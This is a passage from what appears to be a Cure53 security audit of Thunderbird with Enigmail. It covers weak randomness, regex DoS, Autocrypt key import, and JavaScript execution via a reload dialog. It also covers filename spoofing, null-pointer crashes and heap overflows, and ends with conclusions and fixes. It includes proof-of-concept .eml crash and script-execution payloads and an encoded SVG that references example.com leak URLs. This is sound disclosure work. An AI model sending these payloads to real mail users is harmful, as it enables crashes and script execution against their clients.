--PWpC1qlx6dsQoTPWMjFMqgqCjLq1TuoEA
Content-Type: multipart/mixed; boundary="MkhracRKbd653uoMlB5pR9frBfLDD2DJK";
 protected-headers="v1"
From: "Dr.-Ing. Mario Heiderich" <mario@cure53.de>
To: jonas@cure53.de
Subject: [REDACTED]

--MkhracRKbd653uoMlB5pR9frBfLDD2DJK
Content-Type: text/plain; charset=utf-8
Content-Language: en-US
Content-Transfer-Encoding: quoted-printable

Hi,

[REDACTED]

Cheers,
=2Emario

--MkhracRKbd653uoMlB5pR9frBfLDD2DJK--

--PWpC1qlx6dsQoTPWMjFMqgqCjLq1TuoEA
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJZdwtDAAoJEMJshYCQ9wra/7kP/20hr3PCSO4Lm0eZ6OCpuhGj
p04h38Mx6Jxrn+i85yMA/Bk7aU48spraWNm9cVBv8sFnVLdSTs9IiNcNsEznUCM3
KMxkva+E8u3+uuOZEGlo70L/c8EFIkXT2TrW241ZMJFLzhvcAaQLKD4V+cnsJ6CS
bV9v0WYfFH3sS4ImTj1VPVGKfLgYQnxZK/OTnxVM7oHwb4ibshqGBic2L4C4afDI
K8MRc4Fek+llKPBqH/1Am72tTyyweGFyRAfJJ5BfxJTrSSJ08KPMya6NHQq4QG0A
63Sy1Ji1l5j9BoK+Y7VolwmONDnBYLnyTkN/UoPl/6C7rA8SVQzuQtG/qihXete6
6vrlwEADuS904BZv3BJuhwIw9irmqFSjMFcx4gRldZzvyII7MD7IvtSouSsbwSTZ
3swiifz5fNRUrKq4yNarLCqOKbXn+W0mSjS6Ft23wnMosadGNyT49t6f9ZPILpuB
kL2Cro1Sihsrryzg/Y5NG52Dy2BFH7VfBHjIIl++1dTU6nnfGCZ3XWdnXB5sX2BH
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
i+cZ2GFiu05ICgi7tdIAjL7Zwh0P1Pf4uAwZ4o5F7Ilxo1ez5LFMTPMoVa1R1E8t
bS/DwqhzTad5EXhhJknpNDt8VZJpx+XjHbD+QW4z8OTlLSVQ2UYnLZXqQsgzK8yE
hGGHg2U2a9dCF7psD2Cf
=VrRa
-----END PGP SIGNATURE-----

--PWpC1qlx6dsQoTPWMjFMqgqCjLq1TuoEA--

--------------AEA294334A39599F740CD34A--
```

As it is already clear from the opening description, it is recommended fix the parsing of the email in the signature verification flow. It should be ascertained that the whole email - instead of the attached emails only - is signed.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

TBE-01-001 Enigmail: Insecure Random Secret Generation *(Low)*

Enigmail's implementation of *pretty Easy privacy* (pEp)[5] generates security tokens with calls to JavaScript's *Math.Random()* feature. This does not signify a cryptographically secure pseudo-random number generator[6] approach.

Affected File:
/enigmail-source/package/rng.jsm

Called in:
/enigmail-source/packagepEpAdapter.jsm:

Affected Code:

```
gSecurityToken = EnigmailRNG.generateRandomString(40);
[...]
/**
 * Create a string of random characters with numChars length
 */
function generateRandomString(numChars) {
  let b = "";
  let r = 0;
```

[5] https://en.wikipedia.org/wiki/Pretty_Easy_privacy
[6] https://stackoverflow.com/questions/5651789/is-math-random-cryptographically-secure

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
  for (let i = 0; i < numChars; i++) {
       r = Math.floor(Math.random() * 58);
       b += String.fromCharCode((r < 10 ? 48 : (r < 34 ? 55 : 63)) + r);
  }
  return b;

}
```

The *generateRandomString()* function employs *Math.random()*, which is not an advised route in this realm. Instead, it is recommended to make use of the already present and considerably more secure random number generators that are referenced in the same file (*rng.jsm*). Generally, the most widely available secure source of pseudo-randomness in JavaScript is the *window.crypto.getRandomValues()* function, and it should be used exclusively for sensitive random value generation contexts.

TBE-01-003 Enigmail: Regular Expressions Exploitable for Denial of Service *(Low)*

Regular expressions used to parse user-input or *gnupg* output are specified too broadly. As such, they give way to Denial of Service (DoS) attacks. In the instances that were discovered, arbitrary-length inputs were accepted as valid for attachment headers, URL protocol headers, and email address links. This can allow an attacker to pass an extremely large string into internal Enigmail functions, causing Denial of Service on the client-side and ultimately crashing the client.

No further negative effect has been observed as part of this issue, so it is not viewed as actually compromising any user-security. Neither it is able to accomplish anything other than inconveniencing or disrupting the user's workflow.

Affected File:
/enigmail-source/package/decryption.jsm

Affected Code:

```
if (attachmentHead.match(/-----BEGIN PGP \w+ KEY BLOCK-----/)) {
// attachment appears to be a PGP key file
```

Affected File:
/enigmail-source/package/decryptPermanently.jsm

Affected Code:

```
if (attachmentHead.match(/-----BEGIN PGP \w+ KEY BLOCK-----/)) {
        // attachment appears to be a PGP key file, we just go-a-head
        resolve(o);
        return;
}
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Affected File:
/enigmail-source/ui/content/enigmailMessengerOverlay.js

Affected Code:
```
// Hyperlink URLs
var urls = text.match(/\b(http|https|ftp):\S+\s/g);
```

Affected File:
/enigmail-source/ui/content/enigmailMessengerOverlay.js

Affected Code:
```
// Hyperlink email addresses
var addrs = text.match(/\b[A-Za-z0-9_+.-]+@[A-Za-z0-9.-]+\b/g);
```

Across all of the detected examples, it was possible to replace instances of regular expression matching for arbitrary-length inputs with inputs of fixed length. Similarly, a predetermined but long range of, for example, 1 to 1024 characters, could be accomplished. Conversely, for the PGP header, a predetermined length of 1 to 10 characters is sufficient.

TBE-01-004 Enigmail: Autocrypt Automatic Key Import *(Info)*

Autocrypt[7] defines a new email header that a mail client can add when sending an email. This header contains the public key and some other options, as presented next.

```
Autocrypt: addr=a@b.example.org; [type=1;] [prefer-encrypt=mutual;]
keydata=BASE64
```

Enigmail has started to implement Autocrypt functionality in *autocrypt.jsm*, but is neither functional nor enabled yet. The *processAutocryptHeader* function handles an incoming Autocrypt header. By design, Autocrypt does not want any user-interaction and exchanges the keys in-band. This can be abused in several ways.

Enigmail extracts the address from the *autocrypt* header and compares it to the email's *from* header. But the *from* header can be easily spoofed, or the regex issue from TBE-01-002 can be used, to send an Autocrypt email for any address. Enigmail then goes on to update the user-record in the SQLite database with this new key. This means that anybody could send an email to set a key for an address without the user's knowledge or consent.

[7] https://autocrypt.org/en/latest/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Even though Autocrypt specification suggests to have as little user-interaction as possible[8], this has to be carefully implemented. It should be debated whether Enigmail could expose certain information about Autocrypt in the UI instead of quietly importing keys. For example, upon a newly received Autocrypt email, a pop-up could tell the user about a new key (or even display errors such as mismatches noticed with respect to the old keys). Furthermore, it could display a fingerprint and ask if this sender shall be trusted. This workflow is very similar to modern secure messengers on mobile, or Jabber OTR, where the user is encouraged to verify the fingerprint out-of-band.

This issue is only listed as "Informational" because there is no potential for its exploitation at present. However, it can easily become a problem in the future, especially when turned on by default. By this logic, Enigmail is encouraged to implement Autocrypt in a very careful manner and consider the various attack possibilities that come with it.

TBE-01-007 Thunderbird: JavaScript Execution via Reload Page Dialog *(Low)*

Thunderbird supports rendering of HTML tags inside an email body but it disables the support to execute JavaScript. It was discovered possible to enable JavaScript execution inside the email body by exploiting an issue with external attachments and "*Reload Page*" functionality.

First, the user needs to click on "*Save*" on an external message body of a received email. The specified HTTP resource redirects to *file://smb/share* URI. This will display the "*Corrupted Content Error*" page in Thunderbird, in essence letting a user reload the HTTP resource. In case the user decides to reload the page, the HTTP resource can return a normal HTML page, meaning one that can execute JavaScript.

Steps to reproduce (tested on Windows 7)**:**

1. Load *external_attachment.eml* in Thunderbird.
2. Right click on "*NameWhichIsShownInTheGui.html*" and opt for "*Save"*.
3. Thunderbird will fetch http://example.com/redir.php and the attacker's server answers with the following HTTP response:

```
GET http://example.com/redir.php HTTP/1.1
[...]
HTTP/1.1 302 Found
Date: Tue, 19 Sep 2017 20:46:23 GMT
Server: Apache/2.4.18 (Ubuntu)
Location: file://example.com/thunderbird/file
```

4. The "*Corrupted Content Error*" page is shown in Thunderbird.

[8] https://autocrypt.org/en/latest/features.html

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

5. Click on "*Try Again*".
6. Thunderbird will fetch http://example.com/redir.php again and the attacker's server answers with the following HTTP response:

```
GET http://example.com/redir.php HTTP/1.1
[...]
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<h1>123</h1>
<script> alert(1); </script>
```

7. The page will be displayed in Thunderbird and JavaScript is executed.

File:
External_attachment.eml

Code:

```
Content-Type: multipart/alternative; boundary="------------
2DEE3F98D70BD2C65FBA7373"
MIME-Version: 1.0
Subject: Link
From: email@email.com
To: email@email.com


--------------2DEE3F98D70BD2C65FBA7373
Content-Type: multipart/related; boundary="------------A320A96F6639F3C578F35383"


--------------A320A96F6639F3C578F35383
Content-Type: text/html
Content-Transfer-Encoding: 7Bit

<!DOCTYPE html>
<body>
<h1>dummy body</h1>

--------------A320A96F6639F3C578F35383
Content-Type: message/external-body; access-type=whatever;
name="NameWhichIsShownInTheGui.html"
X-Mozilla-External-Attachment-URL: http://example.com/redir.php

Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="thisigui3.html"
Content-Transfer-Encoding: binary
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
[Ghost Body1234]
--------------A320A96F6639F3C578F35383--

--------------2DEE3F98D70BD2C65FBA7373--
```

A different handling should concern HTTP/HTTPS URLs specified in an external attachment URL. Specifically, when HTTP/HTTPS URLs are being opened, Thunderbird should utilize the default web browser without fetching the resource beforehand. Another approach could be to either disable or modify the "*Corrupted Content Error*" page, so as to disallow the reloading of the corrupted HTTP resource.

TBE-01-008 Enigmail: Default Keyserver configured without SSL *(Info)*

The default keyserver is configured with *hkp* instead of *hkps*, thus no SSL is used on the tested product. Though this is only listed as "Informational" issue because keyservers do not host verified key material, the fact remains that anybody can push a fake key for an arbitrary email addressed to them.

If a user decided to use the keyserver to lookup a key, they would find multiple keys. In that sense, they would have had to make a careful decision. At the same time, a MITM attacker could modify the keyserver response so that it appeared as if only one key was found, thus making more likely for the user to trust that very key. There are also privacy concerns with passive eavesdropper being able to see which keys a user looks up.

It is advised to use *hkps* by default for the keyservers that support it.

TBE-01-009 Thunderbird: Filename Spoofing for external Attachments *(Info)*

Thunderbird implements external attachments via the *X-Mozilla-External- Attachment-URL*. The actual resource is specified via this header. It was discovered that the *GUI* displays the filename outlined in the "*Content-Type*" header, which is not related to the real resource. This can be abused to trick the user into opening an attachment, believing that this item is a safe resource like an image, HTML file or similar. Conversely, as illustrated next, Thunderbird would fetch a completely different file

```
--------------A320A96F6639F3C578F35383
Content-Type: message/external-body; access-type=whatever;
name="NameWhichIsShownInTheGui.html"
X-Mozilla-External-Attachment-URL: data:application/pdf,aaaaaaaaaaaaaaaaaaaa

Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="thisigui3.html"
Content-Transfer-Encoding: binary
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
[Ghost Body1234]<h1>asdf</h1><script>alert(1)</script>
```

One solution to this problem would be to display a warning box to the user before fetching the external resource, making user clearly aware of the potential risks. Another approach could be to extract the filename via the *X-Mozilla-External-Attachment-URL* instead of the *Content-Type* header.

TBE-01-010 Thunderbird: DoS via invalid X-Mozilla-Draft-Info header *(Low)*

It was found that Thunderbird cannot handle an invalid *X-Mozilla-Draft-Info* header. Due to a *null* pointer dereference, Thunderbird exits with a segmentation fault and must be restarted. The crash happens when the following *PoC.eml* file is opened in Thunderbird, specifically when the "*Edit As New Message*" menu option is selected.

***PoC.eml*:**

```
X-Mozilla-Draft-Info: 1
Content-Type: text/html; charset=utf-8

Please right-click this e-mail and click "Edit As New Message".
```

The root cause of this issue was found in the following source code.

Affected File:
/mailnews/mime/src/mimedrft.cpp

Affected Code:

```
draftInfo = MimeHeaders_get(mdd->headers, HEADER_X_MOZILLA_DRAFT_INFO, false,
false);

// Keep the same message id when editing a draft unless we're
// editing a message "as new message" (template) or forwarding inline.
if (mdd->format_out != nsMimeOutput::nsMimeMessageEditorTemplate &&
    fields && !forward_inline) {
  fields->SetMessageId(id);
}

if (draftInfo && fields && !forward_inline)
{
[...]
  parm = MimeHeaders_get_parameter(draftInfo, "receipt", NULL, NULL);
  if (parm && !strcmp(parm, "0"))
    fields->SetReturnReceipt(false);
  else
  {
    int receiptType = 0;
    fields->SetReturnReceipt(true);
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
sscanf(parm, "%d", &receiptType);
```

One can see here that the *parm* variable is set to the arguments of the *draftInfo*. Since it requires an argument like "*receipt*", it is checked whether that item actually exists. However, if *parm* is not set (e.g. it is equal to *NULL*), it is still being used as a source pointer in a s*scanf* call, thus causing an invalid access to memory at *NULL*. It is recommended to make sure that the s*scanf* code path is not reachable unless *parm* is set correctly.

TBE-01-006 Thunderbird: Denial of Service via Link to .eml Attachment *(Low)*

Thunderbird allows email bodies to load or link to attachments defined as other part of the email. It was discovered that a link to a *message/rfc822* attachment crashes Thunderbird as soon as a user clicks on it. After analyzing the crash, it transpired that Thunderbird was stuck in a loop which triggered a stack exhaustion exception.

File:
Crash.eml

Content:

```
Content-Type: multipart/alternative; boundary="------------
2DEE3F98D70BD2C65FBA7373"
MIME-Version: 1.0
Subject: Link
From: payload.payload@gmx.de
To: payload.payload@gmx.de
Date: Tue, 20 Sep 2017 14:54:55 +0200


--------------2DEE3F98D70BD2C65FBA7373
Content-Type: multipart/related; boundary="------------A320A96F6639F3C578F35383"


--------------A320A96F6639F3C578F35383
Content-Type: text/html
Content-Transfer-Encoding: 7Bit

<a href="cid:test">click to crash thunderbrid</a>
--------------A320A96F6639F3C578F35383
Content-ID: test
Content-Type: message/rfc822;
 name="attach.eml"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="attach.eml"
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
aaaaaaaaa
--------------A320A96F6639F3C578F35383--

--------------2DEE3F98D70BD2C65FBA7373--
```

It is recommended to evaluate the responsible code path and determine where the recursion takes place.

TBE-01-016 Thunderbird: DoS via proprietary X-Mozilla-Cloud-Part Header *(Low)*

An issue which leads to a crash was attributed to a message with an incorrectly used *X-Mozilla-Cloud-Part* header being forwarded. Due to a *null* pointer dereference, Thunderbird exits with a segmentation fault and must be restarted. A relevant Proof of Concept is given in the following code snippet.

PoC.eml

```
To: test <test@localhost>
From: test
Content-Type: text/plain
X-Mozilla-Cloud-Part: bla
```

The *X-Mozilla-Cloud-Part* header can be used for attachments. If the Content-Type of an email is *text/plain* or *text/html,* this header leads to a *nullpointer* being dereferenced.

Affected File:
/mailnews/mime/src/mimedrft.cpp

Affected Code:

```
if (!bodyAsAttachment)
{
       int64_t fileSize;
       nsCOMPtr<nsIFile> tempFileCopy;
       mdd->messageBody->m_tmpFile->Clone(getter_AddRefs(tempFileCopy));
       mdd->messageBody->m_tmpFile = do_QueryInterface(tempFileCopy);
```

It is recommended to verify the value of *m_tmpFile* before using this pointer for operations. Alternatively, this header could be ignored for messages without an attachment.

TBE-01-018 Thunderbird: Integer and Heap-Overflow in MIME-Body-Parsing *(High)*

Upon investigating the multiple crashes and DOS payloads that were found in Thunderbird (e.g. TBE-01-010), it was noticed that the code that handles MIME headers for mail forwards of drafts appears to be especially prone to low-level issues. In this realm, an integer overflow was identified. In specifics, it pertains to the code that handles

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

rebuilding of the mail body when it is in forward in-line mode and in the process of converting the email from plaintext to HTML. The vulnerable code is furnished next.

Affected File:
/mailnews/mime/src/mimedrft.cpp

Affected Code:

```
static void
mime_parse_stream_complete (nsMIMESession *stream)
{
[...]
    if (body && composeFormat == nsIMsgCompFormat::PlainText)
    {
[...]
      char *escapedBody = MsgEscapeHTML(body);
      if (escapedBody)
      {
        PR_Free(body);
        body = escapedBody;
        bodyLen = strlen(body);
      }

       //+13 chars for <pre> & </pre> tags and CRLF
      uint32_t newbodylen = bodyLen + 14;
      char* newbody = (char *)PR_MALLOC (newbodylen);
      if (newbody)
      {
        *newbody = 0;
        PL_strcatn(newbody, newbodylen, "<PRE>");
        PL_strcatn(newbody, newbodylen, body);
        PL_strcatn(newbody, newbodylen, "</PRE>" CRLF);
        PR_Free(body);
        body = newbody;
      }
    }
```

Here one can see that the integer *newbodyLen* is set to *bodyLen + 14.* Therefore it can wrap around to 13 when *bodyLen* previously had a length of *0xffffffff*. Since this causes a small allocation of 13 for *newbody,* the following three *PL_strcatn* calls eventually overflow the allocated heap buffer. Thanks to the old *body* being copied, the heap buffer is partially user-controlled. It is recommended to make sure that *newbodylen* never wraps around to being smaller than *bodyLen*, so that even after allocation, there is no doubt that enough room must be present for the three *PL_strcatn* calls.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

TBE-01-019 Thunderbird: Integer Overflow in Attachment Code *(High)*

Outside of the forward in-line mode the body parsing code can trigger a similar integer overflow similar to TBE-01-018. This time, however, the overflow happens when an attachment's file size is used inside a *PR_MALLOC* call. The code in question can be found below.

Affected File:
/mailnews/mime/src/mimedrft.cpp

Affected Code:

```
uint32_t bodyLen = 0;
[...]
  int64_t fileSize;
  nsCOMPtr<nsIFile> tempFileCopy;
  mdd->messageBody->m_tmpFile->Clone(getter_AddRefs(tempFileCopy));
  mdd->messageBody->m_tmpFile = do_QueryInterface(tempFileCopy);
  tempFileCopy = nullptr;
  mdd->messageBody->m_tmpFile->GetFileSize(&fileSize);
  bodyLen = fileSize;
  body = (char *)PR_MALLOC (bodyLen + 1);
  if (body)
  {
    memset (body, 0, bodyLen+1);

    uint32_t bytesRead;
    nsCOMPtr <nsIInputStream> inputStream;

    nsresult rv = NS_NewLocalFileInputStream(getter_AddRefs(inputStream), mdd-
>messageBody->m_tmpFile);
    if (NS_FAILED(rv))
      return;

    inputStream->Read(body, bodyLen, &bytesRead);
```

At first glance it has to be noticed that the previously queried file size is stored in a 64-bit integer called *fileSize*. This value, however, gets truncated to a 32-bit integer which can assume the value of *0xffffffff*. Consequently, the next call to *PR_MALLOC* with *bodyLen + 1* will wrap around 0, thus leading to a zero-sized allocation. Afterwards, the call to *inputStream->Read* will read up to *0xffffffff* bytes of data into the zero-sized heap area, again leading to a heap overflow. It is recommended to fix the integer truncation and make sure that passing a value of 0 to *PR_MALLOC* becomes unattainable.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

TBE-01-020 Thunderbird: Null Pointer Exception via SVG and Mailbox URI *(Info)*

In continuation of TBE-01-006, loading attachments via the *mailbox:///* protocol handler inside an SVG structure in the main body was also tested. It was discovered that a mailbox URI specified in the *<use>* of an SVG triggers a *null* pointer exception inside Thunderbird, therefore crashing the application.

It must be noted that this behavior can also be evoked with the *imap:///* protocol handler. The latter nevertheless requires a number which needs to be brute-forced, so the PoC utilizes the *mailbox:///* handler for this reason. The highlighted path needs to be adapted to reflect the location where the PoC is stored.

File:
Svgcrash.eml

Code:

```
Content-Type: multipart/alternative; boundary="------------
2DEE3F98D70BD2C65FBA7373"
MIME-Version: 1.0
Subject: Link
Message-ID: test@test.com
To: email@email.com
From: email@email.com
Date: Sat, 23 Sep 2017 19:39:17 +0200


--------------2DEE3F98D70BD2C65FBA7373
Content-Type: multipart/related; boundary="------------A320A96F6639F3C578F35383"


--------------A320A96F6639F3C578F35383
Content-Type: text/html
Content-Transfer-Encoding: 7Bit
Message-ID: test@test.com

<html>
<head>
  </head>
</head>
<body>
<h1>aaatest</h1>
<svg>
<use xlink:href="mailbox:///tmp/svgcrash.eml?
number=0&part=1.1.2&filename=abcb.svg#svg" height="300" width="300"/>
</svg>

--------------A320A96F6639F3C578F35383
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
Content-ID: abcd.svg
Content-Type: image/svg+xml
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="abcb.svg"

PHN2ZyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnIGlkPSJzdmciIHhtbG5zOnhsaW5r
PSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KPGNpcmNsZSBzdHlsZT0icG9zaXRpb246IGZp
eGVkOyBib3R0b206IDA7IHJpZ2h0OiAwOyIgcj0iNDAwIiBmaWxsPSJibHVlIiBpZD0iYmlsZCI+Cjwv
Y2lyY2xlPgo8YSBocmVmPSJodHRwOi8vMTkyLjE2OC4wLjUyL2JpbGQuanBnIj4KPGNpcmNsZSBByPSIy
MDAiIGZpbGw9InJlZCI+CjwvY2lyY2xlPgo8L2E+CjxpbWFnZSBpZD0iGVhayIgeGxpbms6aHJlZj0i
Ii8+CjxzZXQgYXR0cmlidXRlTmFtZT0iZmlsbCIgeGxpbms6aHJlZj0iI2JpbGQiGJlZ2luPSJiaWxk
Lm1vdXNlb3ZlciIgdG89InllbGxvdyIgLz4KPHNldCB4bGluazpocmVmIiB4
bGluazpocmVmPSIjbGVhayIgYmVnaW49IjNzIiB0bz0iaHR0cDovL2V4YW1wbGUuY29tL2xlYWtTVkdU
QkFBQSIgLz4KPHNldCB4bGluazpocmVmPSIjbGVhayIgYmVnaW49IjBzIiB0bz0iaHR0cDovL2V4YW1wbGUuY29tL2xlYWtTVkdUQkFBQSIgLz4KICAgPGZvcmVp
Z25PYmplY3Qgd2lkdGg9IjEwMCIgaGVpZ2h0PSI1MCIKICAgICAgICAgICAgIHJlcXVpcmVk
RXh0ZW5zaW9ucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CiAgICAgICAgICAgIDwhLS0gWEhUTUwt
SW5oYWx0IHN0ZWh0IGhpZXIgLS0+CiAgICAgICAgICAgIDxib2R5IHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8x
OTk5L3hodG1sIj4KCTxwbGFpbnRleHQ+CiAgICAgICAgICAgICAgPEgaHJlZj0iQUFBQSIgaWQ9ImhlYWRsaW5l
Ij5IaWVyIGlzdCBlaW4gQWJzYXR6LCB3ZWxjaGVyIGVpbmVuIFplaWxlbnVtYnJ1Y2ggYmVub3RpZ3Qu
PC9hPgoJPHNjcmlwdD5hbGVydCg0NDQpPC9zY3JpcHQ+Cgk8L3BsYWludGV4dD4KICAgICAgICAgPC9ib2R5
PgogICAgPC9mb3JlaWduT2JqZWN0Pgo8L3N2Zz4K

--------------A320A96F6639F3C578F35383--

--------------2DEE3F98D70BD2C65FBA7373--
```

Exception:

```
Exception Faulting Address: 0x0
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
Exception Sub-Type: Read Access Violation

Faulting Instruction:51829d46 mov ecx,dword ptr [eax]
```

It is recommended to check the implementation of the *mailbox:///* and *imap:///* protocol handlers in order to determine why it causes trouble in the SVG context. This could uncover even more vulnerabilities related to different file formats supported by Thunderbird.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Conclusions

The results of this Cure53 assessment of the Thunderbird with Enigmail combo do not put this particular setup in a good light from the security standpoint. Having tested the implementation over the course of 24 days in September 2017, eight members of the Cure53 team unveiled serious and impactful vulnerabilities among the overall range of twenty-two security-relevant discoveries. A detailed look at the implementations of both Thunderbird and Enigmail revealed a high prevalence of design flaws, security issues and bugs. In the worst cases, technical potential for damage available to attackers completely undermines the very purpose of why Thunderbird and Enigmail should be used together. In short, secure communications may not be considered possible under the current design and setup of this compound.

To reiterate, the Cure53 tests against Thunderbird and Enigmail did not have a goal of attaining a full coverage, but rather centered on very specific attack scenarios that signified incurring user-damage. It should be underlined that only the joint implementation of Thunderbird with the PGP Enigmail plugin was assessed, meaning that the findings apply to users who employ this combined setup for their encrypted email communications. In specific terms, the tests sought to analyze what kind of damage could be done to the incoming emails, as well as whether any possibilities existed with respect to triggering JavaScript execution, exploiting Thunderbird process and crashes, as well as achieving permanent DoS. Special attention was given to selected implementational details of Enigmail, with greatest focus on actually realistic cryptographic attacks. A presumed worst case scenario in this realm was associated with malicious adversaries obtaining plaintext from encrypted emails. Last but not least, features that are perhaps more obscure yet activated by default were examined. One example of what was included in this arena is the RSS feeds' analysis. In addition, a number of test-hours were allocated to source code auditing in order to identify lower-level bugs. The latter component facilitated the collection of impressions about the general Thunderbird code quality.

Going back to the test setup, an up-to-date versions of Thunderbird and Enigmail were installed. Regardless of the findings, ongoing Cure53 communications with the respective client-parties were clearly professional, complete and timely. From both preparatory and technical standpoints, the project proceeded smoothly.

The structure of the tests relied on a sequence of work packages, with each honing in on potential attack surface and crafting corresponding scenarios. Strongly contributing to the overall negative results of this project is the fact that Cure53 managed to find multiple vulnerabilities for each and every work package. In other words, every attack scenario delineated beforehand as relevant for the project's goals was eventually

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

successful. Given the complexity of both applications, the vast array of very different issues means a terribly worrisome result. This is because the Cure53 testers did not need to devise creative or non-standard strategies to acquire a compromise. In simple terms, neither “digging deep” nor “deep dives” into the subject matter happened, as both software items proved to be riddled with security issues early on.

As already suggested, multiple vulnerabilities could be determined with relatively little effort. An array of issues across various attack scenarios plagues the Thunderbird with Enigmail compound, often defeating the very purpose of the joint implementation. This is evident from the total number of twenty-one findings, among which one is actually a “meta”-type issue, amassing multiple bugs and resulting in a “Critical”-level attack vector. Nearly half of the findings, namely nine issues, were categorized as actual vulnerabilities. Similarly harmful to the overall result is the prominence of discoveries with the utmost damaging consequences, specifically with reference to three “Critical” and further five “High”-severity problems.

From a technical point of view, it is highly concerning that the findings range from weak regular expression matching on Enigmail’s side, to general design flaws that make the secure usage of Thunderbird extremely hard. On the former, Enigmail suffered from allowing email address spoofing, thus facilitating a complete confidentiality compromise of encrypted messages. With only a little bit of successful social engineering, the accumulation of problems mean that plaintext of previously intercepted and encrypted messages could be acquired. Similarly problematic were the issues that called for close to no interaction with the victim. For instance, the flaw documented in TBE-01-015, describes how one can chain multiple bugs together to obtain JavaScript code execution, thus garnering capabilities to send decrypted email contents to an attacker’s server. Further of note was the fact that even minor attempts to affect email headers led to multiple issues, ranging from simple but permanent DoS vectors, to integer and heap overflows. It was also noticed that the *mailbox://* or *imap://* handlers appear to signify quite a sensitive sink. Since these were not tested in an all-encompassing manner, it is likely that even more security issues can be spotted in this context. As an indicator of a broader pattern, this area inevitably shows that critical parts of the Thunderbird implementations (like the MIME header parsing) have not been written defensively enough. This conclusion about security being secondary - if not completely overlooked - within the development processes permeates the findings of this security assessment. The most important recommendation is therefore to invest considerably more resources into extensive source code analysis and dedicated hardening.

To conclude, the Thunderbird with Enigmail software compound did not withstand Cure53’s security scrutiny. It warrants a large-scale overhaul and finds itself in a desperate need of security attention, refactoring, multiple revisions, rewrites and

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

reviews. As it stands, the security promises expressed by Thunderbird and Enigmail are not being met in reality[9]. This concurs with the existing documentation by Google, which already lists Thunderbird as “less secure”[10]. What is pivotal to remember is that Thunderbird will not be able to benefit from the new technology for its extensions. Unlike Firefox, it remains “on the bubble” and seems to be devoid of security interest in this regard. While problems related to extension vulnerabilities and overly generous permissions for legacy extensions might be fixed in Firefox quite soon, it must be expected that they will persist in Thunderbird in the future. In closing, once all relevant issues reported here by Cure53 have been fixed, it should be strongly considered to re-establish a bug bounty program for Thunderbird[11]. This approach would help keeping the security level at an acceptable level instead of allowing it to deteriorate and move towards a stale state of datedness. For now it appears[12] that Thunderbird bug bounty is only paid by explicit salesmen[13].

Cure53 would like to thank Gervase Markham of Mozilla and Patrik Löhr of Posteo e.K. for their excellent project coordination, support and assistance, both before and during this assignment. Cure53 would further like to express gratitude to the maintainers of Thunderbird and Enigmail who aided the assignment with valuable advice and input.

[9] https://www.mozilla.org/en-US/thunderbird/features/#secureprotect
[10] https://support.google.com/accounts/answer/6010255?hl=en
[11] https://www.mozilla.org/en-US/security/client-bug-bounty/
[12] https://www-archive.mozilla.org/security/bug-bounty.html
[13] https://www.zerodium.com/program.html